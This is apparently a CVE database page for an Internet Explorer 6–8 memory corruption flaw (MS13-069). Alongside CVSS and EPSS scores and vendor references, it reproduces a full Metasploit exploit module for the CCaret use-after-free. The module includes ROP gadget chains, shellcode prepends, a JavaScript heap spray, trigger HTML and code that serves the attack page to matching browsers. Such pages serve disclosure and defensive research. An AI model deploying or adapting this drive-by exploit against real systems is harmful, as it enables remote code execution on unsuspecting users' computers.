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CVE Descriptions
Microsoft Internet Explorer 6 through 8 allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted web site, aka "Internet Explorer Memory Corruption Vulnerability."
CVE Informations
Related Weaknesses
| Weakness Name | Source | |
|---|---|---|
| Improper Restriction of Operations within the Bounds of a Memory Buffer The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data. |
Metrics
| Metrics | Score | Severity | CVSS Vector | Source |
|---|---|---|---|---|
| V2 | 9.3 | AV:N/AC:M/Au:N/C:C/I:C/A:C | nvd@nist.gov |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 28481
Publication date : 2013-09-22 22h00 +00:00
Author : Metasploit
EDB Verified : Yes
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info={})
super(update_info(info,
'Name' => "MS13-069 Microsoft Internet Explorer CCaret Use-After-Free",
'Description' => %q{
This module exploits a use-after-free vulnerability found in Internet Explorer,
specifically in how the browser handles the caret (text cursor) object. In IE's standards
mode, the caret handling's vulnerable state can be triggered by first setting up an
editable page with an input field, and then we can force the caret to update in an
onbeforeeditfocus event by setting the body's innerHTML property. In this event handler,
mshtml!CCaret::`vftable' can be freed using a document.write() function, however,
mshtml!CCaret::UpdateScreenCaret remains unaware of this change, and still uses the
same reference to the CCaret object. When the function tries to use this invalid reference
to call a virtual function at offset 0x2c, it finally results a crash. Precise control of
the freed object allows arbitrary code execution under the context of the user.
},
'License' => MSF_LICENSE,
'Author' =>
[
'corelanc0d3r', # Vuln discovery & PoC (@corelanc0d3r)
'sinn3r' # Metasploit (@_sinn3r)
],
'References' =>
[
[ 'CVE', '2013-3205' ],
[ 'OSVDB', '97094' ],
[ 'MSB', 'MS13-069' ],
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-217/' ]
],
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', {} ],
[
# Win 7 target on hold until we have a stable custom spray for it
'IE 8 on Windows XP SP3',
{
'Rop' => :msvcrt,
'TargetAddr' => 0x1ec20101, # Allocs @ 1ec20020 (+0xe1 bytes to be null-byte free) - in ecx
'PayloadAddr' => 0x1ec20105, # where the ROP payload begins
'Pivot' => 0x77C4FA1A, # mov esp,ebx; pop ebx; ret
'PopESP' => 0x77C37422, # pop esp; ret (pivot to a bigger space)
'Align' => 0x77c4d801 # add esp, 0x2c; ret (ROP gadget to jmp over pivot gadget)
}
]
],
'Payload' =>
{
# Our property sprays dislike null bytes
'BadChars' => "\x00",
# Fix the stack again before the payload is executed.
# If we don't do this, meterpreter fails due to a bad socket.
'Prepend' => "\x64\xa1\x18\x00\x00\x00" + # mov eax, fs:[0x18]
"\x83\xC0\x08" + # add eax, byte 8
"\x8b\x20" + # mov esp, [eax]
"\x81\xC4\x30\xF8\xFF\xFF", # add esp, -2000
# Fall back to the previous allocation so we have plenty of space
# for the decoder to use
'PrependEncoder' => "\x81\xc4\x80\xc7\xfe\xff" # add esp, -80000
},
'DefaultOptions' =>
{
'InitialAutoRunScript' => 'migrate -f'
},
'Privileged' => false,
'DisclosureDate' => "Sep 10 2013",
'DefaultTarget' => 0))
end
def get_target(agent)
return target if target.name != 'Automatic'
nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
ie = agent.scan(/MSIE (\d)/).flatten[0] || ''
ie_name = "IE #{ie}"
case nt
when '5.1'
os_name = 'Windows XP SP3'
end
targets.each do |t|
if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
return t
end
end
nil
end
def get_payload(t)
rop =
[
0x77c1e844, # POP EBP # RETN [msvcrt.dll]
0x77c1e844, # skip 4 bytes [msvcrt.dll]
0x77c4fa1c, # POP EBX # RETN [msvcrt.dll]
0xffffffff,
0x77c127e5, # INC EBX # RETN [msvcrt.dll]
0x77c127e5, # INC EBX # RETN [msvcrt.dll]
0x77c4e0da, # POP EAX # RETN [msvcrt.dll]
0x2cfe1467, # put delta into eax (-> put 0x00001000 into edx)
0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]
0x77c58fbc, # XCHG EAX,EDX # RETN [msvcrt.dll]
0x77c34fcd, # POP EAX # RETN [msvcrt.dll]
0x2cfe04a7, # put delta into eax (-> put 0x00000040 into ecx)
0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]
0x77c14001, # XCHG EAX,ECX # RETN [msvcrt.dll]
0x77c3048a, # POP EDI # RETN [msvcrt.dll]
0x77c47a42, # RETN (ROP NOP) [msvcrt.dll]
0x77c46efb, # POP ESI # RETN [msvcrt.dll]
0x77c2aacc, # JMP [EAX] [msvcrt.dll]
0x77c3b860, # POP EAX # RETN [msvcrt.dll]
0x77c1110c, # ptr to &VirtualAlloc() [IAT msvcrt.dll]
0x77c12df9, # PUSHAD # RETN [msvcrt.dll]
0x77c35459 # ptr to 'push esp # ret ' [msvcrt.dll]
].pack("V*")
# This data should appear at the beginning of the target address (see TargetAddr in metadata)
p = ''
p << rand_text_alpha(225) # Padding to avoid null byte addr
p << [t['TargetAddr']].pack("V*") # For mov ecx,dword ptr [eax]
p << [t['Align']].pack("V*") * ( (0x2c-4)/4 ) # 0x2c bytes to pivot (-4 for TargetAddr)
p << [t['Pivot']].pack("V*") # Stack pivot
p << rand_text_alpha(4) # Padding for the add esp,0x2c alignment
p << rop # ROP chain
p << payload.encoded # Actual payload
return p
end
#
# Notes:
# * A custom spray is used (see function putPayload), because document.write() keeps freeing
# our other sprays like js_property_spray or the heaplib + substring approach. This spray
# seems unstable for Win 7, we'll have to invest more time on that.
# * Object size = 0x30
#
def get_html(t)
js_payload_addr = ::Rex::Text.to_unescape([t['PayloadAddr']].pack("V*"))
js_target_addr = ::Rex::Text.to_unescape([t['TargetAddr']].pack("V*"))
js_pop_esp = ::Rex::Text.to_unescape([t['PopESP']].pack("V*"))
js_payload = ::Rex::Text.to_unescape(get_payload(t))
js_rand_dword = ::Rex::Text.to_unescape(rand_text_alpha(4))
html = %Q|<!DOCTYPE html>
<html>
<head>
<script>
var freeReady = false;
function getObject() {
var obj = '';
for (i=0; i < 11; i++) {
if (i==1) {
obj += unescape("#{js_pop_esp}");
}
else if (i==2) {
obj += unescape("#{js_payload_addr}");
}
else if (i==3) {
obj += unescape("#{js_target_addr}");
}
else {
obj += unescape("#{js_rand_dword}");
}
}
obj += "\\u4545";
return obj;
}
function emptyAllocator(obj) {
for (var i = 0; i < 40; i++)
{
var e = document.createElement('div');
e.className = obj;
}
}
function spray(obj) {
for (var i = 0; i < 50; i++)
{
var e = document.createElement('div');
e.className = obj;
document.appendChild(e);
}
}
function putPayload() {
var p = unescape("#{js_payload}");
var block = unescape("#{js_rand_dword}");
while (block.length < 0x80000) block += block;
block = p + block.substring(0, (0x80000-p.length-6)/2);
for (var i = 0; i < 0x300; i++)
{
var e = document.createElement('div');
e.className = block;
document.appendChild(e);
}
}
function trigger() {
if (freeReady) {
var obj = getObject();
emptyAllocator(obj);
document.write("#{rand_text_alpha(1)}");
spray(obj);
putPayload();
}
}
window.onload = function() {
document.body.contentEditable = 'true';
document.execCommand('InsertInputPassword');
document.body.innerHTML = '#{rand_text_alpha(1)}';
freeReady = true;
}
</script>
</head>
<body onbeforeeditfocus="trigger()">
</body>
</html>
|
html.gsub(/^\x20\x20\x20\x20/, '')
end
def on_request_uri(cli, request)
agent = request.headers['User-Agent']
t = get_target(agent)
unless t
print_error("Not a suitable target: #{agent}")
send_not_found(cli)
return
end
html = get_html(t)
print_status("Sending exploit...")
send_response(cli, html, {'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache'})
end
end
=begin
In mshtml!CCaret::UpdateScreenCaret function:
.text:63620F82 mov ecx, [eax] ; crash
.text:63620F84 lea edx, [esp+110h+var_A4]
.text:63620F88 push edx
.text:63620F89 push eax
.text:63620F8A call dword ptr [ecx+2Ch]
=end
Products Mentioned
Configuraton 0
Microsoft>>Internet_explorer >> Version 6
- Microsoft>>Internet_explorer >> Version 6 (Open CPE detail)
- Microsoft>>Internet_explorer >> Version 6 (Open CPE detail)
- Microsoft>>Internet_explorer >> Version 6 (Open CPE detail)
Microsoft>>Internet_explorer >> Version 7
- Microsoft>>Internet_explorer >> Version 7 (Open CPE detail)
Microsoft>>Internet_explorer >> Version 8
- Microsoft>>Internet_explorer >> Version 8 (Open CPE detail)
References
https://docs.microsoft.com/en-us/security-updates/securitybulletins/2013/ms13-069
Tags : vendor-advisory, x_refsource_MS
Tags : vendor-advisory, x_refsource_MS
https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A18696
Tags : vdb-entry, signature, x_refsource_OVAL
Tags : vdb-entry, signature, x_refsource_OVAL
